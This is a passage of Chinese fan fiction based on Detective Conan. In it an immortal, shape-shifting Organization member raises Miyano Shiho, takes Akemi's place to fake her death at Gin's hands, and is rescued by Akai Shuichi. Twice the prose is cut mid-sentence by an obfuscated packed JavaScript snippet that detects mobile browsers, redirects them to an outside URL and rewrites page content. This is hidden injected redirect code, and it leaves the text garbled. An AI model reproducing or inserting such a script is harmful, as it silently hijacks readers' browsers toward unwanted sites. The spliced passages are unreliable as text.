琴酒沉默了一会儿:“只有我记得?” 森川海看着琴酒,那双红眼睛在琴酒脸上停了一会儿。琴酒的眼睛像一片结冰的湖,但现在里面有一点别的东西。他说不上来是什么。 “可能吧。”他说。 琴酒没再说话。 从那以后,琴酒开始盯着森川海。 像鬼一样。 家人们,前搭档像鬼一样缠着我该怎么办? 森川海不知道琴酒在看什么,说真的有点吓人,但既然死不了那被盯着也不是什么大事。有时候森川海会故意做点什么事,看琴酒的反应,比如故意让自己受伤,看琴酒掏不掏枪,比如故意去惹别人,看琴酒管不管。 琴酒一般不管,就纯看。 森川海忍不住了:“你老看着我干什么?” “怕你出事。” 这回答多少有些离谱,森川海愣了一下,然后笑了。“怕我出事?”他说,“我能出什么事?” 琴酒看着他,没说话。 “怕我把组织拆了?” 琴酒还是没说话。 “还是怕我把自己玩没了?” 琴酒终于开口了:“你玩得没自己吗?” 森川海认真想了想这个问题,好像真的没有。他试过各种死法,每次都会活过来,好像没有什么能真正杀死他。 “不好说。”他说。 琴酒没再说话。 后来琴酒问他到底想干什么。 那时候他们在一个废弃的厂房里,刚处理完一批人。地上躺着七八具尸体,血还在流。森川海坐在一个箱子上,看着那些尸体,琴酒站在窗边抽烟。 “什么?”森川海问。 “你来组织,想干什么?” “不知道,我只是在这里出生而已。” “那之后呢?” “做他们让我做的事。” 琴酒抽了一口烟,吐出来。烟雾在窗户透进来的光里飘散,灰白色的,慢慢变淡。 “没想过离开?” 森川海看着琴酒:“离开去哪儿?” 琴酒没回答。 森川海又说:“而且我走了,组织会找我,找不着就一直找,很麻烦。” 琴酒看着他,那双绿眼睛在烟雾后面,看不太清。 “所以你就在这儿待着?” “嗯。” “一直待着?” “可能吧。” 琴酒把烟掐了,扔在地上,用脚碾灭。“你知道他们会怎么使用你吗?”琴酒说,“一直用,用到不能用了为止。” 森川海说:“我知道。” “知道还待着?” 森川海站起来走到窗边,和琴酒并排站着。窗外是一片荒地,长满了野草,风一吹,草像海浪浪一样起伏。天是灰的,草是黄的,像是颠倒的大海。 “有人需要我。”他说。 琴酒转过头看他:“谁?” 森川海看着窗外,没回答。过了一会儿,他才慢慢的开口:“你也是。” 琴酒愣了一下。 森川海转过头,看着琴酒。那双红眼睛离得很近,琴酒能看见里面有一些细细的纹路,像是玻璃上的裂痕。 “你也在看我。”森川海说,“从我来的第一天就在看。” 琴酒没说话。 “别人看不见的东西,你看见了。”森川海说,“别人记不住的东西,你记住了。别人不觉得奇怪的东西,你觉得奇怪。” 他看着琴酒,琴酒看着他。 “为什么?”他问。 琴酒没回答。 过了很久,琴酒说:“不知道。” 森川海很轻的笑了一下,像是听见了什么意料之外的东西。 “不知道。”他重复了一遍,“你也不知道。” 琴酒没理他,转身走了。 森川海站在窗边,看着琴酒的背影消失在门口。然后他转过头,继续看窗外那片荒草。风还在吹,草还在起伏,像是有什么东西在底下游动。 他站了很久。 后来,宫野夫妇去世了,森川海从组织手里抢到了一个小女孩。 这是什么?宫野志保,捡了。 琴酒在旁边看着,似乎很想说点什么,但森川海没管他。养孩子的事通知前搭档干嘛,又不是前妻——就算是前妻也没必要通知吧? 反倒是宫野志保,和野生长毛三花猫一样,手慢无啊朋友们。 …… 森川海从火海中抱出宫野志保,想到很久很久以前,有人这样从火海中抱他出来。 那时一切都还不晚。 31.031 后来宫野志保回忆,发现一切的发生好像是从姐姐谈了个叫诸星大的男朋友开始的。 那天森川海坐在客厅的沙发上,手里拿着一份纸质文件,厚厚的。他低着头,盯着其中一页,眉头微微皱着,整个人像是凝固了一样。 宫野志保在他旁边坐下,沙发陷下去一点,他抬起头看了她一眼,然后把文件递过来。 是一份人员名单,上面印着一些名字和照片,旁边标注着进入组织的时间、现在的职务、以及一些其他的东西。她翻了翻,没看出什么特别的。 “怎么了?”她问。 森川海伸出手,指了指其中一个名字。 诸星大。 宫野志保看着那个名字,又看了看旁边的照片。照片上是一个年轻男人,长头发,戴针织帽,绿色眼睛。 “这个人怎么了?”宫野志保问。 森川海沉默了一会儿,盯着照片上的人,过了很久才说:“他进组织了。” “你认识他?” 森川海摇了摇头,但动作很慢,像是他自己也不确定:“名字有点熟悉。” 她看着他。他的表情和平时一样,没什么变化,那张脸永远都是那副平静的样子。但她注意到他的手指在膝盖上轻轻敲了两下,这是森川海思考时的习惯动作。 她把文件还给森川海,森川海接过去,又盯着那张照片看了一会儿,然后才收起来,放回茶几下面的抽屉里。 睡觉前,宫野志保经过森川海房间,发现门没关严,她本来想直接走过去,但脚步还是停了一下。透过门缝,她看见森川海坐在书桌前,台灯开着那份文件摊在面前,他盯着那张照片,一动不动坐了很久。 宫野志保站在那里看着他的侧脸。灯光照在他脸上,把他的轮廓勾得很深,那双眼睛在暗处显得格外亮。他盯着那张照片,眼神里有她看不懂的东西,像是努力回想什么,却又想不起来的那种困惑。 那个叫诸星大的人到底是谁? 后来她知道那个人是谁了。 不是从森川海那里知道的,是从姐姐的电话里。 晚上电话铃响的时候两个人正在研究菜谱,宫野志保放下东西走过去,接过电话,听见宫野明美的声音从听筒里传出来。 “志保?” “嗯。” 姐姐的声音比平时兴奋一点,那种兴奋压都压不住,从每个字里往外冒。她说最近认识了一个人,那个人对她很好,她引荐他进入组织。她说那个人叫诸星大,长头发,很温柔。她说他们在一起了。 宫野志保听着姐姐说话,脑子里浮现出那张照片上的脸。 “姐。”她打断宫野明美。 “嗯?” “那个人……你了解他吗?” 电话那头沉默了一下,然后姐姐问:“什么意思?” 宫野志保不知道该怎么说。说森川海觉得他名字熟?说那个人的照片看起来不像好人?说她在门缝里看见森川海盯着那张照片看了很久?她什么都没说。 “没什么。”宫野志保说,“你开心就好。” 她会保护好姐姐的。 挂了电话,她站在那里拿着听筒,很久没动。森川海把听筒从她手里拿过去,放回座机上。她抬起头看着他。 “诸星大那个人,”宫野志保问,“有问题吗?” 森川海正在往厨房走,闻言停下脚步,转过身看着她在她脸上停了一会儿,然后他说:“不知道。” “那你为什么看他照片看了那么久?” 森川海沉默了一会儿。客厅里的钟在走,滴答滴答的,一下一下敲在安静的沉默里。 “可能见过。”森川海终于说。 “在哪儿?” 他摇了摇头:“想不起来了。” 宫野志保不知道该说些什么。 森川海的记性很好,几乎从来不会忘事,那些她看了就头疼的东西他全都记得。 “我姐姐喜欢他。”宫野志保说。 可森川海没说话。 ”可是你答应过我的。”宫野志保眼眶泛红,“你答应过带我们走的。” 那是有一天晚上,森川海突然问她:“你想要什么?” 那时候他们刚吃完饭,她正在厨房里洗碗。哗哗的水声里,她听见森川海的声音从身后传来,宫野志保手里的动作停了一下。 “什么意思?”宫野志保反问。 “以后。”森川海重复了一遍,“你以后想要什么?” 水流顺着碗壁滑下去,汇入洗碗池里积着的那层泡沫。森川海关掉水龙头,擦干手转过身。森川海坐在餐桌前,和平时一样,那盏吊灯在他头顶亮着,在他脸上投下一些阴影。 宫野志保靠在厨房门框上:“我想和姐姐一起生活。” “就我们两个。”她补充道,“不用躲躲藏藏的,不用被人看着,想去哪儿就去哪儿,想干什么就干什么。” “即使失去自由吗?”森川海问。 宫野志保愣了一下。 “什么?” “和姐姐一起生活。”森川海的声音很平静,“如果代价是失去自由,你还想要吗?” 宫野志保站在那里看着他,厨房的灯在她身后亮着,她的影子投在森川海面前的餐桌上。她不太明白这是什么意思,和姐姐一起生活,怎么会失去自由? 森川海看着她的表情,慢慢说:“离开组织,不代表就自由了。会有别的人看着你们,可能是警察,可能是另一个组织,可能是政府。他们不会让你们想干什么就干什么。” 宫野志保听着,慢慢明白他在说什么。那些她从来没想过的事情,被他这样摊开来说出来,突然变得很真实。 “那怎么办?难道就一直在组织里待着?” 过了很久。 过了很久,森川海说:“我会想办法。” 现在他说,我很抱歉。 那是两个人第一次吵架。 …… 宫野志保知道那个研究是什么的时候,是十五岁那年。 那天组织派人来接她。一辆黑色的车停在楼下,一个她不认识的人坐在驾驶座上,按了两下喇叭。她站在窗边看着那辆车,森川海在她身后站着,一言不发。 车开了很久,她看着窗外掠过的风景,想着今天会见到什么。新的实验室,新的项目,新的同事。她已经在组织里待了十年,这些事情早就习惯了。 但她没想到会看到那些资料。 那些资料就摆在桌上,厚厚的几摞,封面上印着那个她从小就熟悉的编号——APTX。她站在那里,眼睛里蔓延开黑色的字迹,心里有什么东西慢慢沉寂了。 她翻开第一份资料。 那些实验数据她太熟悉了,她从小就在学,从森川海教她的那些书里,从她自己看的那些论文里。每一个符号她都认识,每一个公式她都能推导,每一个结论她都知道是怎么来的。 但她从来没想过这些东西是用来做什么的。 她翻到最后一页看着那张照片,照片上是一个试验对象,编号下面标注着死亡时间和死因。 她做了什么? 她的研究都被用来做了什么? 宫野志保扶着墙大口喘气,有人过来问她怎么了,她没回答,推开那个人往外走。她不知道自己是怎么回去的。只记得一路上都在想那张照片。 推开门的时候,森川海正在厨房里泡茶。水壶在灶上烧着,发出呜呜的声音。他背对着宫野志保,在往杯子里放茶叶。 “怎么了?”森川海问。 宫野志保没说话,就站在那里看着他。 “怎么了?”森川海又问了一遍。 宫野志保声音有点抖:“你知道那是什么吗?” “那个研究。”她说,“APTX4869。你知道那是做什么的吗?” 森川海沉默了一会儿:“知道。” “你早就知道?” “是。” “你为什么不告诉我?” 他看着她,那双水红眼睛里有什么东西在,但他的嘴张了张,说不出话来。 宫野志保往前走了一步,站在森川海面前。她比他矮很多,要仰着头才能看着森川海的脸。厨房的灯在她头顶亮着,他的脸在阴影里,但她能看见他的眼睛。 “我爸妈就在研究这些。”宫野志保说,声音越来越大,“他们是因为这个死的,你教了我这么多年,就是为了让我研究这个?” “不是。”森川说。 “那是什么?”宫野志保眼泪开始往外涌,“你早就知道会有这一天,对不对?你教我的那些东西都是为了这个,对不对?” 森川海没有回答。他能怎么回答?宫野志保的眼泪顺着脸颊流下来,她抬起手擦干净,可又有新的泪水。 “你说过要带我们走。”宫野志保问,“你说你会想办法,你想出来了吗?” 为什么要骗她? 森川海沉默了很久。厨房里的水壶在呜呜叫着,声音越来越大,最后变成尖锐的啸鸣。 他的声音很轻,轻的像一声叹息:“还没有。” “那你让我怎么办?”她问,“我怎么办?我姐姐怎么办?” 森川海伸出手,宫野志保往后退了一步,后背撞在门框上。他的手停在半空,手指微微蜷缩了一下,然后慢慢放下去。 “我会带你们走。”他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赤井秀一看着他,眼神变了。像是在重新打量他,从上到下,从里到外。那种目光让他想起琴酒,也是这样的,像是要把他看穿一样。 “她妹妹……”赤井秀一说,“宫野志保?” 森川海点点头。 “你想让我做什么?” 森川海看着赤井秀一,说:“如果宫野明美离开,组织一定会追杀她,我会让琴酒亲自出手。” 赤井秀一没说话。 “但我会代替她。”森川海补充。 “什么意思?” “我会扮成她的样子。”他说,“琴酒追杀的那个会是我。” 赤井秀一盯着森川海,眉头皱起来,眼神里有警惕,手放在腰侧,那里应该藏着枪。 “你扮成她?然后呢?” “然后我会死。” 屋里安静下来。 “你什么意思?”赤井秀一问。 “她必须死。”森川海如实回答,“在组织眼里,她必须死。只有这样,她才能真的离开。” 赤井秀一沉默了一会儿:“那你呢?” “我也会死。”森川海看着赤井秀一,那双红眼睛在昏暗的灯光下显得格外亮。 “你要做的,”他说,“就是确保我死。” 赤井秀一看着他,眼神越来越沉。那是一种很复杂的眼神,像是警惕,像是困惑,又像是别的什么东西。 “如果琴酒没杀我,”森川海说,“你要开枪。” 窗外开始刮风了,风从窗户缝里挤进来,发出呜呜的声音,像是有人在远处哭泣。 “你到底是什么人?”赤井秀一盯着他的眼睛。那双红眼睛很平静,什么也看不出来。但他看着那双眼睛,突然觉得有什么东西在记忆深处动了一下。 “你不认识我,赤井。但我很早就知道你。” 赤井秀一的眼神变了,像是在看着什么很久以前的东西,努力辨认却又看不清楚,最终也只能问:“我们是不是认识?” 森川海摇了摇头。 赤井秀一看着他,没说话。但那眼神像是水面下的暗流,绿色像结冰的湖,深不见底,湖面上是薄薄的雾气。那目光落在他脸上,在他眉眼之间徘徊,像是要在那里找到什么熟悉的东西。但最终,赤井秀一什么也没说。 森川海站起来,走到门口,他回过头,看着赤井。 “她不知道。”森川海说,“明美不知道这件事,她只需要知道组织认为她死了。” 赤井秀一点点头。 森川海拉开门,走出去。 外面天已经黑了。郊区没有路灯,只有远处房子里透出的零星灯光,他走在路上,脚步很慢。月光从云层缝隙里漏下来,把他的影子拉得很长,投在地上,像是什么扭曲的东西。 森川海想起刚才赤井秀一看他的眼神。那种眼神他见过很多次了。琴酒这样看他,宫野志保这样看他,现在赤井秀一也这样看他。 像是在看一个不该存在的东西。 但又移不开眼睛。 32.032 那天是个寻常的日子。 阳光从窗户照进来,落在厨房的台面上,把那些瓶瓶罐罐的影子拉得很长。宫野志保站在窗前,她姐姐昨天打过电话来,说最近一切都好,说诸星大对她很好,说等有机会了一定要来看看她。她听着,应着,没告诉姐姐那个计划。 森川海坐在客厅里,面前放着一杯凉透的茶。他看着窗外,那双红眼睛倒映着天空的颜色,很浅,很空。他已经这样坐了很久,久到那杯茶表面结了一层薄薄的膜。 宫野志保在他旁边坐下。 “今天走?”她问。 森川海转过头看她,点了点头。 宫野志保没说话。早就知道的事,没什么好说的,但真到了这一天,心里还是有什么东西堵着,说不清是什么。 “你姐姐会先走,你等通知。” “你呢?” 宫野志保看着森川海,想从他脸上看出点什么,但他脸上什么也没有,还是那张看了十年的脸,还是那双红色的眼睛。 “你会来吗?”宫野志保问。 森川海沉默了一会儿,还是给出了肯定的答案,宫野志保点点头,没再问。窗外的阳光慢慢移动,从地板爬上沙发,又从森川海身上爬过去,最后落在墙上。他就坐在那片阳光里,一动不动,像是什么凝固的东西。 宫野志保突然想问很多事。问森川海到底是什么人,问他为什么要对她们这么好,问他以后会怎么样。但她什么都没问,她知道问了也没用,注定没有结果的问题有什么必要说出口? “走吧。”森川海站起来,“送你上学。” 她也站起来,拿起书包。两个人一前一后走出门,她把门锁好,他站在旁边等着。下楼梯的时候她走在他前面,能感觉到他的目光落在她背上,像一片很轻的羽毛。 到楼下,森川海停下来。 “放学别乱跑。”他说,“直接回家。” 宫野志保点点头。 “有人接你。” 宫野志保又点点头。 森川海站在那里看着她,宫野志保看回去。早晨的阳光从楼与楼之间的缝隙里照过来,落在两个人中间的地上,把那些灰尘照得亮晶晶的。 “我走了。”宫野志保说。 森川海点点头。 她转身往前走,走了几步又回过头,她的监护人还站在那里看着她。于是宫野志保朝他挥了挥手,然后转回去继续往前走。 …… 森川海到的时候,赤井秀一已经等了有一会了。 那是一片废弃的厂房,很久没人来过。墙上爬满了藤蔓,窗户玻璃碎了一半,露出里面黑洞洞的空间。赤井秀一站在门口靠着墙抽烟,看见他来,把烟掐了。 “来了。”赤井秀一说。 两个人走进去。里面比外面暗,灰尘在从破窗户透进来的光线里飘浮,像无数细小的虫子在空气中飞舞蠕动。地上散落着一些生锈的零件,踩上去嘎吱作响。 “说吧。”赤井秀一问,“你打算怎么做?” 森川海站在那里,没急着回答。阳光从头顶的破洞里照下来,落在他身上,把他整个人照得半明半暗。他看着赤井秀一,眼睛和嘴角慢慢弯起来。 很淡的一个笑,不注意都看不出来。 然后他开口,把那几个音节一个一个慢慢念出来。 “森——川——海——” 赤井秀一愣了一下。 那三个音节从他嘴里出来,拖得很长,像是在念什么古老的歌谣。最后一个音节落下去之后,厂房里安静下来,只有灰尘还在飘。 赤井秀一看着他,眉头慢慢皱起来。 “森川……”他重复了前三个音节,“Morika……” 那个发音从他嘴里出来的时候,森川海的眼睛动了一下。只是一瞬间,但赤井秀一看见了。那双红眼睛里有什么在变化,像是很深的水面被搅动了,从底下翻上来一些不知道是好还是坏的东西。 赤井秀一盯着他,眼神越来越沉。 “Morika……”他又念了一遍,“莫妮卡。” 森川海只是站在那里看着赤井秀一,像是透过赤井秀一在看别的什么,又像是在看很久很久以前的故事。 莫妮卡。莫尼科。 但怎么会呢? 莫尼科那家伙不应该正在英国当他的文员吗? 如果森川海真的是莫尼科,那他的幼驯染到底遭受了多大的不幸? 赤井秀一看着他,沉默了一会儿,然后突然开口:“你到底打算怎么替她?” 森川海站在那里没动。 厂房里的光线突然暗了一下,一块云遮住了太阳。等光线再亮起来的时候,赤井秀一看见有什么东西在变化。 森川海的身体开始发光。 不是刺眼的光,是很淡的像是从皮肤底下透出来的光。那光先是白色的,然后慢慢变成别的颜色,像是什么液体在皮肤下面流动。 然后森川海的身体开始模糊。 赤井秀一往后退了一步。 他看着那个人的轮廓一点一点散开,像是有什么东西从内部把他拆解了。不是血肉分离的拆解,而是更奇怪的——他的边缘变得模糊,像泡沫,接着那些模糊的部分开始往外扩散,变成无数细小的光点。 那些光点飘浮在空中,闪着微弱的光,像是萤火虫,又像是水面上反射的阳光。它们聚成一团,缓慢又迅速地旋转着,互相扭曲地碰撞着,然后又开始重新组合。 赤井秀一的胃里有什么东西在翻涌,不像是恐惧,像是来自人类求生本能的更原始的不适,像是看见什么不应该存在的东西,什么违背了自然规律的亵渎之物。 那些光点越转越快,然后开始拉长,成形。先是轮廓,然后是颜色,然后是细节。 一张脸慢慢浮现出来。 宫野明美的脸。 赤井秀一盯着那张脸,手心出了汗。那张脸太像了,每一个细节都对。眉毛的弧度,眼睛的形状,嘴唇的线条,甚至连头发垂下来的角度都和记忆中一模一样。森川海不见了,取而代之的是宫野明美站在那里,穿着她的衣服,用她的姿势,带着她的表情看着他。 这到底是什么东西? 组织到底研究了什么又做了什么? 它开口了,声音也是她的:“像吗?” 赤井秀一没说话。他看着那张脸,看着那双属于宫野明美的眼睛,突然感觉他们现在站的地方太深了也太静了,像是很深的水,看不见底。 “你……”赤井秀一开口,声音有点哑。他清了清嗓子,重新说:“你一直是这样?” 那个宫野明美摇了摇头。 “不是。”它说,“以前不是。” “那是什么时候?” 它没回答,只是看着他。 水面下有什么东西游过去了。 “你不舒服。” 是陈述句。 赤井秀一没说话。 它笑了一下,是宫野明美的笑,但不知道为什么,看着那个笑,赤井秀一觉得更不舒服了。 “正常。”它说,“很多人都不舒服。” 赤井秀一深吸一口气,压下胃里翻涌的感觉。他看着那张脸,努力提醒自己那不是宫野明美,是另一个人。但那张脸太像了,每一个细节都对,连呼吸时肩膀起伏的幅度都一样。 “琴酒会看出来吗?”他问。 这个东西想了想说:“不会。” “为什么这么肯定?” 它又笑了一下,那个笑让赤井秀一想起刚才那些光点,想起它们旋转着重组的画面。 “因为到时候,我就是她。”它说,“从头到脚,从里到外,每一个细胞都是她。” “那你呢?”赤井秀一问,“森川海呢,他去哪儿了?” “宫野明美”抬起手,看着那只手,翻了翻,看了看手心手背。那只手是宫野明美的手,纤细,白净,指甲修剪得很整齐。 “在这儿。”它说,“但也不在。” 赤井秀一不知道该说什么。他站在那里,看着这个长着宫野明美脸的东西,想着刚才那些光点,想着那个人慢慢念出自己名字时的表情。 “你什么时候变成这样?”他问。 森川海放下手,看着窗外。阳光从破洞里照进来,落在它身上,把它的轮廓勾得很柔和。从外面看,这就是一个普通的年轻女人,站在废弃厂房里等什么人。 “很久了。”森川海说,“久到记不清了。” “但有些东西还记得。有些东西我一定会记得。” 赤井秀一沉思了很久。正常,森川海想。不是每个人都能接受一个怪物的,何况和赤井秀一有关系的是莫尼科而不是森川海,他已经用掉机会了。 可是赤井秀一问:“痛苦吗?” 森川海愣了一下。 “什么?” “这样活着。”赤井秀一说,“痛苦吗?” 森川海看着陌生的亲友,想到的却是很多很多年前泰晤士河边让他记得回来的幼驯染。那双眼睛里浮现了什么东西——只是一瞬间。 “不痛苦。”他说,“早就不痛苦了。” 赤井秀一没说话。他看着森川海,想着那些光点,想着那个慢慢念出自己名字的人,想着他刚才问“痛苦吗”的时候那双眼睛里闪过的光。 “走吧。”森川海说,“时间差不多了。” 他往外走,走到门口,停下来回过头。 “记住你答应的事。”森川海说,“如果琴酒没杀我,你一定要作为协助的狙击手开枪。” 赤井秀一点点头,看着森川海推开门走进阳光里。那个背影和宫野明美一模一样,连走路的姿势都一样。但他知道那不是宫野明美。那是一个别的东西,一个披着人皮的东西。 他想起刚才那些光点,想起那种从胃里翻涌上来的不适感。他想起那双眼睛,那种隔着很厚的水看过来的感觉。 然后他想起森川海最后的眼神。 …… 仓库在码头边上,很大,很空,堆着一些生锈的集装箱。海风从门口灌进来,带着咸腥的味道,吹得那些灰尘打着旋儿四处乱飞。 森川海站在仓库中央,等着。 阳光从高处的窗户照进来,落在他身上,把他的影子拉得很长。他穿着宫野明美的衣服,扎着宫野明美的发型,用宫野明美的姿势站在那里,一动不动。 等了很久。 门开了。 琴酒走进来,身后跟着那个叫伏特加的男人。阳光从他身后照进来,把他的轮廓勾得很深,脸藏在阴影里,只看得见那双绿色的眼睛,冷得像冰。 他走过来,在森川海面前几米远的地方停下来。 伏特加站在他身后,手放在腰间,那里藏着枪。 “就你一个?”琴酒问。 …… 枪响了。 森川海低头看着胸口那个洞,血从那里涌出来,很快染红了衣服。很疼,但他知道那不是他的疼,是这具身体的疼,是宫野明美的疼。 他抬起头,看着琴酒。 琴酒又开了一枪。 森川海倒下去,阳光从头顶照下来,刺得眼睛睁不开。他能感觉到血在流,能感觉到心跳在变慢,能感觉到这具身体正在死去。 琴酒走过来,站在森川海旁边低头看着他,什么表情也没有,就那么看着森川海咽下最后一口气。然后他蹲下来伸出手,探了探地上这个人的脉搏。 没有了。 他又等了一会儿,确认人是真的死了,站起来对伏特加说:“处理掉。” 伏特加点点头,从口袋里掏出什么东西。森川海躺在地上,闭着眼睛听那些声音。汽油浇在身上,刺鼻的味道呛得他想咳嗽。 脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236798|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步声走远了。 打火机的声音。 火。 大火。 火焰从脚边烧起来很快蔓延到全身,很烫,像森川和也终生没能走出来的噩梦。但森川海感觉不到,这具身体已经死了,神经已经不会传递信号了。他只是躺在那儿,被火烧着,听着火焰吞噬血肉的滋滋声。 然后是爆炸。 伏特加不知道在哪儿放了炸药,火引燃了炸药,整个仓库都在震动。集装箱倒下来砸在他身上,屋顶塌下来埋住他。钢筋,水泥,砖块,一切能掉的东西都掉下来了。 森川海死了好几次。 被砸死,被压死,被烧死,被烟呛死。死了复活,复活后是再一次的死亡。那些钢筋穿过森川海的身体,等身体长好又被另一根钢筋穿过,砖块压在他身上,等骨头长好又被更多的砖块压住。 不知道过了多久,一切安静下来。 赤井秀一等了很久。 他埋伏在对面那栋楼的顶层,狙击枪架在窗台上,瞄准镜对准仓库门口。他看见琴酒进去,又出来,看见仓库起火,看见爆炸,看见琴酒开车离开。 他等了一会儿,确认琴酒不会回来,然后收了枪,下楼,往仓库那边跑。 仓库已经塌了。火焰还在烧,浓烟滚滚,什么都看不清。他站在外面,看着那片废墟,想着刚才那个变成宫野明美的人。 那个人说,如果琴酒没杀他,他要开枪。 琴酒动手了。 赤井秀一找了一根铁棍,开始捞人。 很烫也很累,烟熏得眼睛睁不开。赤井秀一扒开砖石和钢筋,一边挖一边想那个名字。他不知道该喊什么。森川海、宫野明美还是莫尼科?他喊不出。 挖了很久。 终于,他看见了一只手。 那只手从砖石缝里伸出来,白得吓人,上面全是血和灰。赤井秀一扔下铁棍,用手扒开那些碎砖,把人挖出来。 森川海躺在那里闭着眼睛,满身满脸的灰。衣服烧没了,身上全是伤,有的地方甚至能看见骨头。但那些伤正在愈合,赤井秀一看见那些裂开的肉在慢慢收拢,露出来的骨头被新的皮肉覆盖。 森川海在他怀中复活。 那双宫野明美的眼睛变回了森川海的眼,倒映着他们身边逐渐熄灭的火,火光中里面有什么东西变了,变得空旷而辽远,像在看他又在看别的地方。 “琴酒走了?”森川海的喉咙还没长好,声音带着扭曲的沙哑。 赤井秀一点点头。 森川海想坐起来,动了一下又放弃,接着躺在赤井秀一怀里。伤口还没长好,他总觉得自己听见什么东西咯咯的声音,很久以后才后知后觉的意识到这声音来源于自己身体内部。 这个过程显然没那么舒服。但森川海躺在那儿看着天空,蓝色的天空像一片大海,白羽的飞鸟从空中游过。 “痛吗?”赤井秀一终于问出来。 森川海沉默了一会儿,转过头看着他。那双眼睛离得很近,他能看见里面那些细细的纹路,像是玻璃上的裂痕。 “我现在没有感觉。”他说。 赤井秀一愣了一下。 森川海抬起一只手,透过指缝看天上的云和鸟。手还在长,指节的地方有一道很深的裂口,正在慢慢愈合。他就那么看着,像在看什么不相干的东西。 “视觉、听觉、嗅觉、味觉、触觉。”他说,“都没有了。” 赤井秀一看着森川海,不知道该说什么。 他把手放下,继续看着天空。一片云消散了,又有新的云凝聚,周而复始、循环往复。 “什么时候开始的?”赤井秀一问。 “很久了。”森川海如实回答,“一点点没的。先是味觉,然后是嗅觉,再然后是触觉。后来一切都没有了。” 赤井秀一听着,想象不出来那是什么感觉。什么都没有,怎么会什么都没有?人要如何认识认知以外的东西? “那你怎么……”他指了指周围,“怎么知道我在?” 森川海沉默了一会儿:“我能感觉到别的东西。” “什么?” 那双眼睛里倒映着云的影子。 “我能感觉到你们。人的……存在。像是一些亮的东西,在我能感觉到的地方亮着。有些亮,有些暗,有些在动,有些不动。” 赤井秀一听着,脊背有点发凉。 “你现在就在亮,很亮。” “所以我其实很幸福,我从来没有见过这么明亮的生命。” 赤井秀一没说话。 那些伤已经好得差不多了,新的皮肤长出来,和周围的肤色不太一样。 “你说早就不痛苦了。”他突然说,“就是那个意思?” “那你还记得痛苦是什么感觉吗?” 森川海沉默了很久,久到赤井秀一以为这个人不会回答了,最后也只是叹了口气。 赤井秀一不知道该说什么,只是看着森川海躺在废墟里,看着他身上那些新生的皮肤在阳光下慢慢变得和周围一样。 “该走了。”森川海说。 他站起来,赤身裸体站在废墟上。那些伤已经全好了,新生的皮肤在阳光下泛着淡淡的光。 “给件衣服。”森川海面无表情,“我十分钟前就在等你给我披衣服了,为什么没有。” 赤井秀一:“……” “如果我把衣服脱给你。”赤井秀一慢慢道,“那我们两个就是一个裸上身,一个裸下身。” 森川海:“……那你就让我□□?” 赤井秀一无辜地看着他。 “反正你应该也不是人了,还要在意这些吗?” “滚。” “看看怎么不做人的。” “滚。” “我不挖的话你能自己爬出来吗?” “……” 这人怎么这样。 33.033 最后两个人怎么走的你别管。 管管琴酒。 琴酒在那个废弃仓库里等了很久。 他不知道自己为什么还要来这里。任务已经完成了,报告已经交了,那个叫宫野明美的女人已经死了,烧成了灰埋在废墟下面。但那天离开的时候,他总觉得有什么地方不对。那个女人站在那儿,看着他的枪口的眼神太平静了。这平静他见过,在另一个人身上。 森川海。 他站在仓库中央,看着那片被火烧过的废墟。阳光从破了的屋顶照进来,把那些扭曲的钢筋和焦黑的砖块照得很清楚。空气里还有焦糊的味道,混着海风里的咸腥,让人很不舒服。 身后有脚步声。 他没回头。那脚步声很轻,踩在碎砖上,一下一下的,越来越近。然后在他身后几步远的地方停下来。 “你来了。”琴酒说。 “嗯。” 他转过身,看见森川海站在那里。还是那副样子,红色的眼睛,没什么表情的脸,穿一件黑色的外套,袖口卷起来一点,露出细瘦的手腕。 “来收尸?”琴酒问。 森川海看着他,没说话。那双红眼睛在昏暗的光线里显得很亮,像是有什么东西在深处发光。 琴酒等着。他知道这个人会说话的,只是需要时间。 果然,过了一会儿,森川海开口了。 “你不该杀她。” “她是你什么人?”琴酒问。 “不是。” “那为什么?” 森川海看着他,没回答。琴酒往前走了一步。两个人离得更近了。 “杀了她们,你就会离开吗?”琴酒问。 森川海的眼睛动了一下:“什么?” “你。”琴酒说,“你在这儿待了这么多年。宫野夫妇死了你还在,宫野明美死了你还在。死人就应该待在坟墓里,杀了她们,你就会走吗?” “不会。”森川海说。 琴酒等着。 “我可能会杀了你。”这是下一句话。 仓库里安静下来。风从破洞里灌进来,吹起一些灰尘,在两个人之间打着旋儿飘过。琴酒看着那双红眼睛,那双眼睛也在看着他,两个人都没动。 然后琴酒笑了。很轻的、几乎听不见的一声,从喉咙里滚出来,眼睛没笑。 “杀我?”他说,“你试试。” 森川海没说话,只是站在那里看着琴酒。 琴酒从外套里掏出枪来。那支枪他用了很多年,枪柄上的漆都磨掉了一些,露出下面银色的金属。他抬起手,枪口对准森川海的额头。 森川海没动。 “你那个本事,”琴酒说,“能让你活多久?” 琴酒扣动了扳机。 枪声在空旷的仓库里炸开,惊起几只不知道躲在哪儿的海鸟,扑棱棱地飞出去。森川海往后倒下去,躺在地上,额头正中间一个洞,血从里面涌出来。 琴酒走过去,站在他旁边,低头看着他。 他看着那个洞慢慢收拢。先是里面有什么东西在动,然后边缘开始合起来,最后皮肤长好,连个疤都没留下。 森川海睁开眼睛,看着他。 “就这些?”琴酒问。 森川海没说话,只是看着他。 琴酒又开了一枪。然后是第三枪,第四枪。他换了不同的位置,头,心脏,脖子,腹部。每一枪都致命,每一枪之后他都看着那个人死去,然后活过来。 那个人就那么躺着,任他杀,活过来之后还是那副表情,看着他,什么也不说。 琴酒停下来,看着枪里剩下的子弹。还有三发。 “你烦不烦?”森川海躺在地上,问他。 琴酒没理他,又开了一枪。 打完之后,他把枪收起来,站在那里,看着那个人从地上坐起来,拍了拍身上的灰。 “杀不死。”琴酒说。不是问句,是陈述句。 森川海点点头。 “那困住呢。” 森川海抬起头看他。 